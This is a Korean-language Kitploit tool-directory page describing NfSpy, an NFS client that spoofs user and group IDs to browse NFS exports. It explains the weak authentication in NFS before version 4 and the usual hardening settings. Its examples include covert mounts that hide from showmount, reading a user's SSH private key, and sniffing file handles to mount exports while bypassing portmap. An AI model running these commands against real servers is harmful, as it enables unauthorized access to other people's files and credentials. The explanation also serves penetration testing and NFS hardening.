Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
NfSpy — ID 스푸핑 NFS 클라이언트 | Kitploit
도구/GitHubGitHub/bonsaiviking/nfspy
Privilege EscalationExploitationInformation GatheringNetwork SecurityPenetration TestingAuthenticationRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

ID 스푸핑 NFS 클라이언트

저장소 보기
298566년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

NfSpy - ID 스푸핑 NFS 클라이언트

Daniel Miller 제작

NfSpy는 NFS 공유를 마운트할 때 NFS 자격 증명 위조를 자동화하기 위한 Python 라이브러리입니다. 두 가지 클라이언트 프로그램이 포함되어 있습니다:

  • nfspy는 Linux에서 NFS 공유를 마운트하기 위해 Filesystem in Userspace(FUSE) 라이브러리를 사용합니다. 이를 통해 grep 및 find와 같은 일반적인 파일 검색 및 조작 프로그램을 사용하여 NFS 익스포트를 탐색할 수 있습니다.

  • nfspysh는 NFS 익스포트를 탐색하기 위한 ftp와 유사한 대화형 셸입니다. FUSE 라이브러리가 필요하지 않으므로 Linux 이외의 플랫폼에서도 실행할 수 있습니다.

악용되는 취약점

NFS 버전 4 이전에는 인증을 위해 호스트 신뢰 관계에 의존합니다. NFS 서버는 클라이언트 머신이 사용자를 인증하고 공유 파일시스템이 사용하는 것과 동일한 사용자 ID(UID)를 할당할 것을 신뢰합니다. 예를 들어 이는 NIS, NIS+ 및 LDAP 도메인에서 작동하지만, 클라이언트 머신이 손상되었거나 신원을 위장하고 있지 않다는 것을 아는 경우에만 가능합니다. 이는 NFS 프로토콜의 유일한 인증이 UID 및 GID(그룹 ID) 전달이기 때문입니다. NFS의 보안을 강화하기 위해 할 수 있는 몇 가지 방법이 있지만, 그중 다수는 불완전한 해결책이며, 여기에 나열된 세 가지를 모두 적용하더라도 보안 조치를 우회할 수 있는 가능성은 여전히 존재합니다.

Squash root

서버 또는 공유(NFS 용어로 "익스포트")는 root_squash로 구성할 수 있습니다. 이는 UID 또는 GID 0(root)을 주장하는 모든 요청을 nobody 사용자 또는 시스템의 해당 사용자처럼 취급한다는 의미입니다. 이는 공격자가 다른 UID/GID 조합을 스푸핑하는 것을 막지는 못하지만, 익스포트에서 가장 민감한 정보와 구성을 보호합니다.

nfs_portmon

활성화할 수 있는 또 다른 설정은 nfs_portmon으로, 513-1024 범위 밖의 소스 포트에서 오는 요청을 거부합니다. 일반적으로 root만이 이러한 포트를 할당할 수 있으므로, 신뢰된 머신의 일반 사용자가 UID/GID를 위조하는 자체 NFS 클라이언트를 작성하여 사용하는 것을 방지합니다. 하지만 악성 호스트, su 권한을 가진 사용자 또는 root 수준에서 손상된 머신이 동일한 작업을 수행하는 것을 막지는 못합니다.

익스포트 제한

특정 머신만 접근할 수 있도록 공유/익스포트를 제어할 수 있습니다. 이러한 접근 제어 목록(ACL)은 다음으로 구성될 수 있습니다:

  • IP 주소 (예: 192.168.1.34)
  • IP 접두사 (예: @192.168.1)
  • 호스트 이름 (예: server1.mydom.nis)
  • 호스트 목록 (예: @trusted_hosts)
  • "everyone"

가장 좋은 구성은 호스트 목록을 사용하는 것입니다. nfs 데몬에 질의하면 목록에 포함된 주소나 이름이 아니라 목록의 이름만 반환되기 때문입니다. 그다음으로는 IP 주소나 호스트 이름이 좋은데, 이들은 스푸핑하기 더 어렵기 때문입니다. IP 접두사와 "everyone"은 접속할 수 있는 주소에 대한 제한이 거의 또는 전혀 없으므로 보안에 취약함을 나타냅니다.

NfSpy 사용하기

옵션 목록은 다음을 실행하여 확인할 수 있습니다

root@kitploit:~
nfspy --help

예제

192.168.1.124에 NFS 서버가 있습니다.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

공유를 마운트합니다. sudo를 사용하면 권한 있는 포트에 바인딩할 수 있고, allow_other 옵션을 사용하면 모든 사용자가 파일시스템을 사용할 수 있습니다. 여기서 또 다른 새 옵션은 "hide"로, 서버에서 공유를 즉시 "마운트 해제"하지만 획득한 파일 핸들은 유지합니다. 이는 showmount -a를 사용하는 모든 사람에게서 사용자의 존재를 숨깁니다.

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

새로 찾은 자유를 누려보세요!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

마운트를 해제하려면 fusermount를 사용합니다:

root@kitploit:~
$ sudo fusermount -u /mnt

고급 예제

192.168.1.124에 NFS 서버가 있습니다. Portmap이 차단되어 공유 목록을 얻을 수 없지만, 네트워크 트래픽을 스니핑할 수 있습니다.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

이제 dirhandle 및 getroot 마운트 옵션을 사용하여 마운트 데몬을 사용하지 않고, nfsport 옵션을 사용하여 포트매퍼를 사용하지 않은 채 디렉터리 트리를 거슬러 올라가 익스포트의 루트에 도달합니다.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

우리가 아는 것은 nfs 파일 핸들뿐이므로 마운트할 경로를 제공하지 않았다는 점에 유의하세요. 이 기능이 작동하려면 핸들이 파일이 아닌 디렉터리를 가리켜야 하며, 신속하게 작업하지 않으면 핸들이 만료(stale)될 수 있습니다.

tshark 프로그램은 Wireshark 프로젝트의 일부입니다. 널리 사용되는 tcpdump 프로그램도 -u 옵션을 사용하여 NFS 파일 핸들을 디코딩할 수 있습니다:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

이러한 파일 핸들은 콜론으로 구분된 4바이트 값이므로 직접 0으로 패딩해야 합니다. NfSpy는 콜론만 제거하므로 올바르지 않습니다.

nfspysh 사용하기

nfspysh는 nfspy와 동일한 형식으로 동일한 기본 옵션 세트를 사용하므로 위의 튜토리얼이 그대로 작동합니다. 명령 목록은 "help" 명령으로 확인할 수 있습니다.

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

버그

  • 쓰기 접근은 베타 단계입니다. 소수의 시스템에서 제 테스트에서는 작동했지만, 더 많은 테스트가 필요합니다. 이 때문에 NfSpy는 기본적으로 ro로 마운트합니다. 이를 변경하려면 rw 마운트 옵션을 지정하세요. (nfspysh에는 읽기 전용 모드가 없습니다. 신중하게 사용하세요!)

  • NfSpy는 표준 lockd 및 statd 서비스와 함께 작동하지 않으므로 파일 쓰기에 문제가 발생할 수 있습니다. 그러나 읽기 전용 용도와 이 도구가 의도된 대부분의 악의적인 용도에서는 문제가 되지 않아야 합니다.

  • NfSpy는 현재 NFSv3만 지원합니다. 향후 버전에서는 NFS 버전을 지능적으로 선택할 수도 있습니다.

도구 다운로드